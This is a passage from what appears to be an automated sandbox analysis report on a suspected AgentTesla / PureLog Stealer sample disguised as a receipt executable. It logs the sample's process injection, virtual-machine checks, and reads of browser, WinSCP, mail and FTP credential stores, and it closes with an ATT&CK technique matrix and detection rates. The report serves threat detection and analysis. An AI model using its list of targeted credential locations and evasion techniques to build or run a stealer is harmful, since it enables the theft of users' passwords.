Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99890
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99781
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99672
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99562
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99453
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99343
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99234
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99125
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 99015
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98906
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98797
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98687
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98578
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98468
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98359
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 98250
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Thread delayed: delay time: 922337203685477

Source: daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Receipt_7814002.exe, 00000003.00000002.3232187467.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllE
Source: daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Receipt_7814002.exe, 00000000.00000002.2361626118.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: daqfbrlrs.exe, 00000005.00000002.2872621137.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2962189389.000000000136E000.00000004.00000020.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3232020594.000000000075C000.00000004.00000020.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3232827694.0000000000D11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Receipt_7814002.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Memory written: C:\Users\user\Desktop\Receipt_7814002.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory written: C:\Users\user\AppData\Roaming\daqfbrlrs.exe base: 600000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Memory written: C:\Users\user\AppData\Roaming\daqfbrlrs.exe base: 400000 value starts with: 4D5A	Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process created: C:\Users\user\Desktop\Receipt_7814002.exe "C:\Users\user\Desktop\Receipt_7814002.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Users\user\Desktop\Receipt_7814002.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Users\user\Desktop\Receipt_7814002.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Users\user\AppData\Roaming\daqfbrlrs.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Receipt_7814002.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.daqfbrlrs.exe.2efdaec.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.332b8c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4cac770.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.317c100.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.315d874.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.32d5860.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.3107a74.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3236721251.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3237092657.0000000002654000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3237092657.000000000264C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3236721251.00000000029AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3238307456.0000000003237000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 1480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 6772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 4580, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Receipt_7814002.exe.4453218.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.447b238.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.5cc0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.5cc0000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.492b2b8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.492b2b8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.44cb258.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4453218.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.44cb258.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.447b238.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2369700519.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.000000000492B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.0000000004229000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Receipt_7814002.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.daqfbrlrs.exe.2efdaec.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.332b8c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4cac770.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.317c100.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.315d874.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.32d5860.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.3107a74.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 1480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 6772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 4580, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.daqfbrlrs.exe.2efdaec.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.332b8c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4cac770.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.317c100.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.315d874.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.daqfbrlrs.exe.32d5860.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.3107a74.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3236721251.00000000029B4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3237092657.0000000002654000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3237092657.000000000264C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3236721251.00000000029AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3238307456.0000000003237000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 1480, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 6772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 4580, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Receipt_7814002.exe.4453218.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.447b238.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.5cc0000.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.5cc0000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.492b2b8.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.492b2b8.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.44cb258.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.4453218.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.44cb258.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.447b238.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2369700519.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.000000000492B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364465182.0000000004229000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	311 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	23 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Receipt_7814002.exe	42%	ReversingLabs	Win32.Trojan.Znyonm
Receipt_7814002.exe	41%	Virustotal		Browse
Receipt_7814002.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\daqfbrlrs.exe	100%	Joe Sandbox ML
